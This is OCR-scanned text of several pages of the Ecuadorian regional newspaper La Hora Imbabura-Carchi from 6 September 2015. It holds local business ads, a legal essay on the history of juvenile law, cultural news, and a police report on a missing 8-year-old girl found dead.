Ofrece Tratamientos 100% naturales para Hígado, Riñones, Próstata, Impotencia Sexual, Inflamación de Ovarios. Consultas Personales. Dirección: Av. Eugenio Espejo y Obispo Mosquera Local # 6 P37435/ai Telfs.: 062 612 092 / 0992184647

Dir.: Av. Jaime Rivadeneira 4-45 y Flores Telf.: 260 8564, Cel: 0995287499 IBARRA - ECUADOR

LUBRI REPUESTOS CARRILLO

P37414/ai

P37435/ai

- Instalación luces de Xenon - Instalación de neblineros - Reparación de alternadores

Ofrece: • Guardafangos • Capot • Filtros • Zapatas y todos los repuestos para su vehículo

- Instalación de faros - Instalación de pitos

Calidad más experiencia hacen la diferencia Repuestos y Accesorios de Motocicletas todo en aceites para motos llantas maxxis, vee rubeer, duro

Dir.: Fray Vacas Galindo y Venancio Gómez Jurado Telf.: (06) 2954790 Cel.: 0993354529 IBARRA - ECUADOR P37435/ai

Dirección: Av. Jaime Rivadeneira 2-83 y Elías Almeida Telf: 062 641 713 Cel: 0981462515 - Email: hugueins19@hotmail.com Ibarra - Ecuador Ad/28194/ai P37435/ai

Av. Jaime Rivadeneira 4-79 y Flores Telf.: (06) 2608-552 (06) 2642-356 / 0995763402

Ad/28194/ai

MECÁNICA AUTOMOTRIZ “FULL MOTOR”

P37435/ai

Calidad a su servicio...

cortes •ondulaciones • tintes iluminaciones • manicure • pedicure maquillajes • peinados • depilaciones tratamientos capilares y faciales Av. Cap. Cristóbal de Troya 10-72 Telf.: 2956318 Cel.: 0999682657 IBARRA

Mantenimiento automotriz en general, Enderezada y pintura, A.B.C. Chequeo de frenos, reparación de motores, cambio de aceite, arreglo de caja y transmisiones manuales y automáticas. Dirección: Av. Jaime Roldós y Ramón Alarcón (esq) Teléfono: 2610 843 Ibarra - Ecuador

P37435/ai

Dir: Av. El Retorno 20-54 y Río Ambi Citas: 0993 635 275

JOSÉ CALDERÓN PROPIETARIO

Ofrece: Reparación y mantenimiento de vehículos multimarcas Servicio de enderezada y pintura Servicio de wincha ATENCIÓN LAS 24 HORAS

Dirección: Darío Egas Grijalva s/n, pasaje E Telfs.: 2611284 - 0999171226 - 0997108082 Ibarra - Ecuador

P37435/ai

Reseña histórica del Derecho de Menores He revisado las tesis de abogacía de los compañeros de la Facultad de Jurisprudencia de la Universidad Central del Ecuador: Andrés Paúl Mencías Ojeda y Francisco Gabriel Chacón Ortiz, sobre la mediación en la fijación de pensiones alimenticias, de la cual puedo extraer los siguientes datos sobre el tema materia del presente artículo.

Introducción Como bien señala Andrés Paúl Mencías Ojeda “Una de las mayores paradojas es que solo desde hace algún tiempo el menor comienza a ser considerado como tal, y no en función del adulto en el que se ha de convertir. A lo largo de la historia, el menor ha sido primordialmente “El compás de espera para la vida adulta, por lo que esta etapa siempre se ha intentado acortar tanto como ha sido posible. El objetivo ha sido siempre convertir, lo más pronto posible, “Esta cosa inútil” que es un niño en un adulto que debe producir como un soldado, un artesano, un campesino. O una niña en una madre capaz de parir hijos y educarlos, de trabajar en el hogar, en el campo, en la fábrica”. Bien lo señala el compañero antes mencionado que los menores a lo largo de los siglos, han estado expuestos a conductas aberrantes a las que se les ha sometido, de explotaciones degradantes que han sufrido, de entornos hostiles en los que le ha tocado vivir o morir prematuramente; por esta razón actualmente la Constitución de la República vigente protege a los menores en los Arts. 44, 45 y 46 otorgándoles derechos en atención a que son grupos de atención prioritaria. Disposiciones constitucionales sobre los niños, niñas y adolescentes Art. 44.- El Estado, la sociedad y la familia promoverán de forma prioritaria el desarrollo integral de las niñas, niños y adolescentes, y asegurarán el ejercicio pleno de sus derechos; se atenderá al principio de su interés superior y sus derechos prevalecerán sobre los de las demás personas. Las niñas, niños y adolescentes tendrán derecho a su desarrollo integral, entendido como proceso de crecimiento, maduración y despliegue de su intelecto y de sus capacidades, potencialidades y aspiraciones, en un entorno familiar, escolar, social y comunitario de afectividad y seguridad. Este entorno permitirá la satisfacción de sus necesidades sociales, afectivoemocionales y culturales, con el apoyo de políticas intersectoriales nacionales y locales. Concordancias: Arts. 35 y 341 inciso tercero CR; 1, 11, 14, 22, 26, 227 Código de la Niñez y Adolescencia; Art. 45.Las niñas, niños y adolescentes gozarán de los derechos comunes

del ser humano, además de los específicos de su edad. El Estado reconocerá y garantizará la vida, incluido el cuidado y protección desde la concepción. Las niñas, niños y adolescentes tienen derecho a la integridad física y psíquica; a su identidad, nombre y ciudadanía; a la salud integral y nutrición; a la educación y cultura, al deporte y recreación; a la seguridad social; a tener una familia y disfrutar de la convivencia familiar y comunitaria; a la participación social; al respeto de su libertad y dignidad; a ser consultados en los asuntos que les afecten; a educarse de manera prioritaria en su idioma y en los contextos culturales propios de sus pueblos y nacionalidades; y a recibir información acerca de sus progenitores o familiares ausentes, salvo que fuera perjudicial para su bienestar. El Estado garantizará su libertad de expresión y asociación, el funcionamiento libre de los consejos estudiantiles y demás formas asociativas. Concordancias: Art. 24, 29, 381 CR; 20, 22, 26, 27, 33, 35, 37, 39 No. 3, 48, 51, 55, 63 y 102 Código de la Niñez y Adolescencia. Art. 46.- El Estado adoptará, entre otras, las siguientes medidas que aseguren a las niñas, niños y adolescentes: 1. Atención a menores de seis años, que garantice su nutrición, salud, educación y cuidado diario en un marco de protección integral de sus derechos. 2. Protección especial contra cualquier tipo de explotación laboral o económica. Se prohíbe el trabajo de menores de quince años, y se implementarán políticas de erradicación progresiva del trabajo infantil. El trabajo de las adolescentes y los adolescentes será excepcional, y no podrá conculcar su derecho a la educación ni realizarse en situaciones nocivas o peligrosas para su salud o su desarrollo personal. Se respetará, reconocerá y respaldará su trabajo y las demás actividades siempre que no atenten a su formación y a su desarrollo integral. 3. Atención preferente para la plena integración social de quienes tengan discapacidad. El Estado garantizará su incorporación en el sistema de educación regular y en la sociedad. 4. Protección y atención contra todo tipo de violencia, maltrato, explotación sexual o de cualquier otra índole, o contra la negligencia que provoque tales situaciones. 5. Prevención contra el uso de estupefacientes o psicotrópicos y el consumo de bebidas alcohólicas y otras sustancias nocivas para su salud y desarrollo. 6. Atención prioritaria en caso de desastres, conflictos armados y todo tipo de emergencias. 7. Protección frente a la influencia de programas o mensajes, difundidos a través de cual-

quier medio, que promuevan la violencia, o la discriminación racial o de género. Las políticas públicas de comunicación priorizarán su educación y el respeto a sus derechos de imagen, integridad y los demás específicos de su edad. Se establecerán limitaciones y sanciones para hacer efectivos estos derechos. 8. Protección y asistencia especiales cuando la progenitora o el progenitor, o ambos, se encuentran privados de su libertad. 9. Protección, cuidado y asistencia especial cuando sufran enfermedades crónicas o degenerativas. Concordancias: Arts. 35, 51 y 364 inciso segundo CR; 6, 27 No. 1, 37 No. 3, 42, 45, 46 No. 3, 47, 52, 55, 67, 69, 73, 78 No. 1, 78 No. 1, 81, 82, 83, 84, 87, 112 No. 4. De tal manera que los derechos del niño y del adolescente son derechos humanos y estas normas constitucionales garantizan el principio de integralidad, esto es de máxima operatividad y mínima restricción de los derechos del niño y del adolescente, toda vez que hablar de la vida de los niños, niñas y adolescentes, de su derecho a existir, es hablar de la vida de las personas, de una vida digna con garantías, esto es de la vida en su verdadera dimensión humana. Reseña histórica del derecho de menores en el ecuador Los compañeros universitarios antes mencionados, señalan en sus tesis de abogacía lo siguiente: 1. En los Registros Oficiales Nos. 107 y 108 del 10 y 11 de abril de 1939 se publica la Primera Codificación del Código de Menores en el gobierno de Enrique Gallo; 2. En el Registro Oficial No. 65 del 18 de agosto de 1944 se expide el nuevo Código de Menores, en el que se destaca un mayor interés al aspecto protector y se crea la Corte Nacional de Menores, como órgano de segunda instancia; 3. En el Registro Oficial No. 419 del 20 de enero de 1965, la Junta Militar de Gobierno reforma el Código de la Niñez, en el que se considera el derecho de la mujer embarazada para obtener la ayuda prenatal; 4. En el año de 1969 se contempla la creación de los llamados Juzgados de Menores, pero que no llegó a funcionar, pues no se designaron a estos funcionarios, hasta que se publicó en el Registro Oficial No. 107 de 14 de junio de 1966 el Código de Menores; 5. El 07 de agosto de 1992, se promulga un nuevo Código de Menores, que tiene sustento en los Arts. 19 y 25 de la Constitución Política de la República de 1978 y en la Convención sobre los Derechos del Niño, ratificado por el Ecuador en el mes de febrero de 1990, debiendo destacar que

dicha reforma fue el resultado de un proceso de consulta social, basado en un acuerdo técnico-político entre el Ministerio de Bienestar Social y Defensa de los Niños Internacional-Sección Ecuador, y con el respaldo del Consejo Nacional de Menores y Unicef, en el que se destaca que el menor tiene derecho a crecer en un ambiente de amor, comprensión y cariño, en lo posible dentro de su familia biológica. 6. En el año de 1995, varias organizaciones comienzan a hacer un análisis sobre la necesidad de una reforma integral del Código de Menores que lamentablemente tuvo oposición; 7. En el año de 1996, el Movimiento por los Derechos de la Niñez del Ecuador, liderado por el Foro de la Infancia, propuso una enmienda a la Constitución de esa época para asegurar los derechos de la infancia y de la adolescencia; 8. En el Registro Oficial No. 737 de 03 de enero de 2003 se expide el Código de la Niñez y Adolescencia, el mismo que entra en vigencia después de transcurrir los 180 días contados de su publicación en el Registro Oficial, de tal manera que entró en vigencia el 03 de junio de 2003; Este Código de clasifica en cuatro libros, que son: I. Libro Primero se refiere a los niños, niñas y adolescentes como sujetos de derechos; II. Libro Segundo se refiere a niñas, niños y adolescentes en sus relaciones de familia; III. Libro Tercero se refiere al Sistema Nacional Descentralizado de Protección Integral de la Niñez y Adolescencia; y, IV. Libro Cuarto, trata sobre la Responsabilidad de los Adolescentes Infractores; 9. En el Registro Oficial No. 643 de 28 de julio de 2009 se reforma el Código de la Niñez y Adolescencia, especialmente en relación al procedimiento y a lo referente a los derechos de alimentos, que se encuentra en el Título V del Libro Segundo; al igual que sobre la familia, y de este modo se da por finalizado un largo proceso de discusión, redacción y debate legislativo que se inició con las Reformas Legislativas de 1992 y que tiene como fundamento la Convención de los Derechos del Niño de febrero de 1990. Conclusiones Conforme señala Andrés Paúl Mencías Ojeda “El derecho de menores dentro de nuestra legislación es un ordenamiento jurídico novel de siete décadas y unos años más de vigencia, y por supuesto se anotan muchos cambios en él realizados en procura de una mejor legislación y así nuestro legislador atempera sus declaraciones normativas tanto a la filosofía de naturaleza tute-

JUDICIALES domingo 06 de septiembre DE 2015

I La Hora IMBABUrA-CArChI

A17

lar como una realidad cambiante cada vez más existente respecto del menor. Es por ello que desde 1938 hasta nuestros días, ha sido y es preocupación estatal el interés por los menores de edad, y es así que se estableció en el Ecuador una justicia especializada mediante primeramente los Tribunales de Menores que funcionaban inicialmente en las ciudades de Quito y Guayaquil y a partir de 1939 en el funcionamiento de un Tribunal de Menores en cada provincia del Ecuador, que actualmente con la introducción del nuevo Código de la Niñez y Adolescencia se ha conformado en los Juzgados Especializados de la Niñez y Adolescencia”. Hay que señalar que el Código Orgánico de la Función Judicial publicado en el Registro Oficial Suplemento No. 544 de 09 de marzo de 2009, crea las Juezas y Jueces de Familia, Mujer, Niñez y Adolescencia en los Arts. 233 al 236. Francisco Gabriel Chacón Ortiz, señala con razón en su tesis de abogacía la inadecuada infraestructura de los juzgados de la niñez y adolescencia, al manifestar “Quien ha visitado las instalaciones de los Juzgados de la Niñez y Adolescencia, por lo general se ha encontrado con espacios extremadamente reducidos, cuya capacidad rebasa la permitida para las personas que concurren a realizar su trámite, encontrando usuarios y niños en los pasillos de los juzgados esperando que los auxiliares de los juzgados se desocupen de las diligencias para ser atendidos”. Luego hace una crítica a la forma de atención que reciben los usuarios por parte de los funcionarios y del sistema judicial, lo cual tiene que ser solucionando por el Consejo de la Judicatura de Transición, destinando más recursos económicos a la creación de Juzgados de la Familia, en los que se trate a los derechos de los menores como primordiales, no como un juicio normal; más aún los dos compañeros universitarios en sus tesis de abogacía proponen reformas a los distintos cuerpos legales, para que no se vulneren los derechos constitucionales de las niñas, niños y adolescentes. Sobre los problemas de la niñez y su comportamiento, trato con detalle en el trabajo de mi autoría publicado hace algunos años y que lleva el título de “MANUAL DE PRÁCTICA PROCESAL CONSTITUCIONAL Y PENAL EL MENOR DE EDAD INFRACTOR Y SU JUZGAMIENTO EN LA LEGISLACIÓN ECUATORIANA”. José García Falconí DOCENTE, FACULTAD DE JURISPRUDENCIA UNIVERSIDAD CENTRAL DEL ECUADOR. CoRReo: josegarciafalconi@gmail.com

CYAN MAGENTA YELLOW BLACK

CuLTuRA A18

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

lobo antunes presenta ‘las cosas de la vida’

la MosTra al día

‘amarcord’ está restaurada y muestra material inédito

La versión restaurada de ‘Amarcord’, una de las obras maestras del director italiano Federico Fellini y ganadora de un Óscar a la Mejor película en lengua extranjera en 1975, así como material inédito del filme serán presentados hoy en primicia mundial en el Festival de Venecia. Esta será la ocasión para que los amantes de Fellini redescubran una de sus joyas cinematográficas más conocidas a nivel mundial y disfruten de ella con una mejor calidad de imagen. EFE

sokurov desconcierta, pero encanta Alexander Sokurov llevó ayer a Venecia una propuesta arriesgada y compleja que mezcla política y arte, y que cuenta de un forma muy particular cómo se salvaron las obras del Louvre durante la Segunda Guerra Mundial, una película que “debe ser respondida a través del significado artístico, no la forma”. ‘Francofonía’ es la cinta que desconcertó al público, pero que se ganó los aplausos a la par. EFE

actor Johnny depp conquista la atención en Festival de Venecia

NORTE

Johnny Depp presentó ayer en Venecia el filme ‘Black Mass’, sobre el histórico criminal James Whitey Bulger, cuyo comportamiento tenía “algo de poético”, en palabras del actor, que destacó su vertiente familiar en contraposición con sus brutales delitos. “Encontré el diablo en mí mismo hace mucho tiempo, lo acepté y somos buenos amigos”, dijo sonriente el actor en una rueda de prensa en Venecia. EFE

El escritor portugués António Lobo Antunes presentó la edición en español de ‘Las cosas de la vida’, libro en el que narra sus vivencias personales a través de sesenta crónicas de escritores de renombre. El acto de presentación, celebrado en el Instituto Cervantes de Lisboa, estuvo dirigido por el coordinador del premio José Donoso, Javier Pineda. También acudieron el rector de la Universidad chilena de Talca, Álvaro Rojas -institución encargada de editar la versión en español-, el embajador de Chile en Portugal, Germán Guerrero, y el director del Instituto Cervantes en Lisboa, Javier Rioyo. EFE

Botellas, el viaje de regreso Este objeto se transforma en la bitácora de la artista para contar su vida y su retorno. La calidez y el aire fresco de la Galería Sara Palacios es el espacio apropiado para mostrar el trabajo íntimo de la artista ecuatoriana Katya Romero. Quien ha permanecido por varios años fuera del país y a su retorno ha decidido mostrar una serie elaborada al mínimo detalle: ‘De regreso: botellas y cuencos’. Romero es una artista multidisciplinaria y esto le permite mostrar al público una exposición con varias técnicas: impresiones sobre baldosa, pintura, intaglios, obra gráfica digital y esculturas en piedra. Cada una de estas piezas guarda la memoria de su autora, esos recuerdos que aparecen en colores y texturas fuertes y minuciosamente construidas. “He vivido los últimos 20 años fuera del país y el año pasado mostré una serie grande pinturas y esculturas en el Museo de Arte del Salvador. Al retornar al país me pareció importante presentar en este espacio (Galería Palacios) alternativo mi trabajo. Decido embotellar mis sentimientos, decido utilizar un objeto cotidiano como es una botella para poder usarlo como un contenedor de todo ese conglomerado de ilusiones que tengo”, expresó la artista. Exposición Utilizando la botella como la metáfora de ese contenedor de recuerdos, Romero logra almacenar cada etapa de su vida.

KaTYa rOMErO

EXPOSICIÓN. La artista junto a dos obras de gran formato que exhibe.

Además, siguiendo una observa- dras que podemos encontrarlas ción más detallada de esta mues- en cualquier lugar se les ha dado tra, la botella permitirá abrir el un rol inferior, sino que más bien abanico de situaciones que tuvo se les transformó en verdaderas que vivir una viajera. Y claro, la obras de arte que van tomando artista ha recorrido varios luga- protagonismo con los recuerdos, res del mundo y sin darse cuen- la simbología de la feminidad, y el ta este elemento siempre estuvo uso de las distintas técnicas. Y así, como se cuenta, que en junto a ella y ahora al regresar a las botellas llegaban cartas su tierra, a su sitio de nacon mensajes desde muy cimiento, toma protago- EL DATO lejos. Estas, contendrán nismo asumiendo el papel cada etapa y recuerdo de de compañero. muestra se “A esta muestra habría La inauguró ayer, a vida, donde los colores, que verla a manera de las 11:00, en Sara las figuras, el tamaño, el Galería narración de un proceso Palacios (Manuela Sáenz diseño y la postura darán distintas lecturas. entre el desprendimiento E5-28 Nayón. Cumbayá). Este de un largo y profundo espacio abre sus todos la artista tramo de su vida en el puertas los sábados y constante trajinar de un domingos, entre Katya Romero estudió en previa lugar a otro, y la vuelta al semana, cita llamando al: la Facultad de Artes Plásticas, Universidad Central país del que, igualmente, 3820-097. del Ecuador; Dibujo, en un día se desprendió”, comentó María Ángela Cifuentes, DEXA Departamento de Expresiones Artísticas Universidad de curadora de la muestra. Este trabajo artístico está lleno Panamá; Fotografía Digital, Fade sutileza y minuciosidad. La ar- cultad de Artes Aplicadas Unitista se preocupó por el mínimo versidad Matías Delgado, El Saldetalle. No por ser botellas o pie- vador; Grabado y escultura en

piedra, (Cenar) Centro Nacional de Artes, El Salvador. A lo largo de su carrera ha recibido formación con diferentes maestros de danza, teatro, literatura, entre otros. Ha realizado más de 100 exhibiciones individuales y colectivas tanto en Ecuador como en el extranjero: Colombia, Panamá, Estados Unidos y El Salvador. Ha participado en decenas de exposiciones colectivas en museos, galerías y centros culturales en esos países y Canadá. Entre sus más destacados premios está: Mención de Honor en la I Bienal Paiz, en el Salvador (2001); Viñeta Museo Botero, Medellín, Colombia (2003); Condecoración y Medalla de la Orden Nacional ‘Al Mérito’ en el Grado de Caballero por su aporte a la cultura pictórica, Gobierno del Ecuador (2002); Primera Mención de Honor en la Galería Joan Hisaoka de Smith Farm, curada por Lenox Campello, Washington DC (2009), entre otros. (MJC)

Talleres de dibujo y pintura abren sus puertas La Casa de las Artes La Ronda in- tarde se realizará dibujo con luvita a participar del taller de dibu- ces artificiales y poses de corta jo y pintura de la figura humana duración. Los talleres no están concecon modelo en vivo. El mismo que se realizará en la Casa 707, espacio bidos en formato de instrucción que busca posicionarse como mo- formal, sino más bien como un tor del intercambio y aprendizaje intercambio de conocimientos y mejoramiento de técnicas; del arte y la cultura. por tal razón, la UniversiEl taller se desarro- EL DATO dad San Francisco de Quito llará en dos momentos: durante la mañana se El taller se desa- (institución que organiza junto a la Casa de las Artrabajará principalmen- rrollará en la 707, en La tes La Ronda este proyecte en pintura con luz Casa Ronda, Centro to) ha contemplado, en su natural en diferentes Histórico. momento, invitar a artistas locaciones cercanas, así como dentro de la casa, y, en la nacionales e internacionales a

PrOYECTO. Organizado conjuntamente con la Universidad San Francisco de Quito.

acompañar este proyecto. Los materiales que se utilizarán en este taller estarán disponibles en relación a la puntualidad de los asistentes. No existe

cupo máximo de participantes. Los talleres de pintura se desarrollarán los sábados de 10:00 a 13:00, y de dibujo, de 14:00 a 17:00. (MJC)

niña desaparecida es hallada muerta en los Cañaverales dos menores de 13 años de edad serían, según las primeras investigaciones, los causantes del presunto crimen.

Desapareció el pasa- presume que fue víctima de viodo 2 de septiembre y, desde ese lación, según una fuente policia, momento, su familia emprendió aunque esa información será verificada luego de las periuna búsqueda imparable. cias de ley. Los presuntos Ayer, la familia recibió la EL DATO violadores son dos adolamentable noticia: la enlescentes de 13 años, secontraron muerta. adolescen- gún indicaron fuentes de El cuerpo sin vida fue Dos tes de 13 años encontrado en el sector de estarían, presun- la Policía Judicial, Dinaimplised (Dirección Nacional los Cañaverales, en Sali- tamente, cados en la de Delitos contra la Vida, nas, por la Hacienda Ca- muerte de la niña. Muertes Violentas, Desracol, vía a Chachimbiro. apariciones, Extorsión y Se informó que la menor de edad fue a visitar a su tía Secuestro) y Cuerpo de Bombey esa fue la última vez que la vio ros. Se indicó que los adolescentes su familia. Ya no regresó. Eso generó la preocupación de sus contaron a su madre del suceso, familiares y comenzaron a bus- incluso donde dejaron el cuerpo, car a la niña sin saber que a los por lo que ella habría sido quien cuatro días la encontrarían, pero llamó a la Policía en la madrugada para que acudieran al sitio. sin vida. Además, otra fuente informó Ayer, alrededor de las 10:00, la Policía Nacional y el Cuerpo que los adolescentes llevaron de Bomberos acudieron al lugar con engaños a la niña diciéndode los hechos y procedieron al le “que venga a ver un chancho levantamiento del cadáver, el muerto, en el lugar donde se llecual fue llevado a la ciudad de vó a cabo el suceso”. También se Quito para el proceso respectivo. indicó que los implicados eran Según moradores del lugar, solo conocidos, más no amigos, la niña presentaba golpes y se de la víctima.

POLICIAL I

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

A19

EL DATO Ayer, a la 01:00, fue hallado el cuerpo sin vida de la niña desaparecida el 2 de septiembre.

SALINAS•

Lugar. En este lugar se habría encontrado el cadáver de la menor.

Audiencia En la mañana, Pablo Herrera, fiscal del caso, anunció que la audiencia contra los menores detenidos se llevaría a cabo en la tarde y no anunció más detalles. Fue así. La audiencia de la formulación de cargos inició alrededor de las 15:30 y duró aproximadamente dos horas, en las instalaciones del Consejo de la Judicatura. Para la defensa de los menores de edad se contó con defensores públicos. Mientras tanto, en las afueras de la institución, familiares de los presuntos autores del delito, esperaban información de lo que

se dictaría en la audiencia. Además un nutrido grupo de policías resguardaba el lugar. A los adolescentes se les dictó sentencia internamiento institucional por 45 días, mientras se procede con las investigaciones de la muerte. Acabada la audiencia, alrededor de 20 uniformados se alistaron para llevar a los implicados en la muerte de la niña al CAI (Centro de Adolescentes Infractores). Alrededor de las 18:00, un equipo de la Dinased ingresó a los adolescentes al CAI, en el cual se dio custodia y la información pertinente. Una vez acabada las investi-

dEtEncIón. Los adolescentes fueron llevados al Centro de Adolescentes Infractores.

gaciones del caso, se procederá a dictar sentencia a los adolescentes de 13 años, implicados en la muerte de la niña de 8 años, en caso de que se confirme su responsabilidad en los hechos. (FCDL)

CYAN MAGENTA YELLOW BLACK

NORTE LUGAR

50c DOMINGO 06 DE SEPTIEMBRE DE 2015

Imbabura, Carchi

incl. IVA

36 PÁGINAS

HALLAN EL CADáVER DE NIñA DESAPARECIDA, TENíA 8 AñOS Dos menores de 13 años de edad serían, según las primeras investigaciones, los causantes del presunto crimen. Ayer se realizó la audiencia y se dictó prisión preventiva de 45 días hasta que concluyan las investigaciones. El cuerpo de la infante fue encontrado en el sector de Los Cañaverales . PáGINA A19 (foto)

Barcelona intentará de nuevo en ‘Casa Blanca’

Liga de Quito recibe hoy al club guayaquileño, que busca romper el invicto en casa que posee el club capitalino. PáGINA B15

Los 33 son un éxito de taquilla

El drama, basado en una historia real, superó en venta de boletos a varios filmes internacionales. En Chile. PáGINA B10

Segundo oro mundial para Granja El escalador imbabureño se consagro campeón mundial de escalada en Italia. PáGINA A11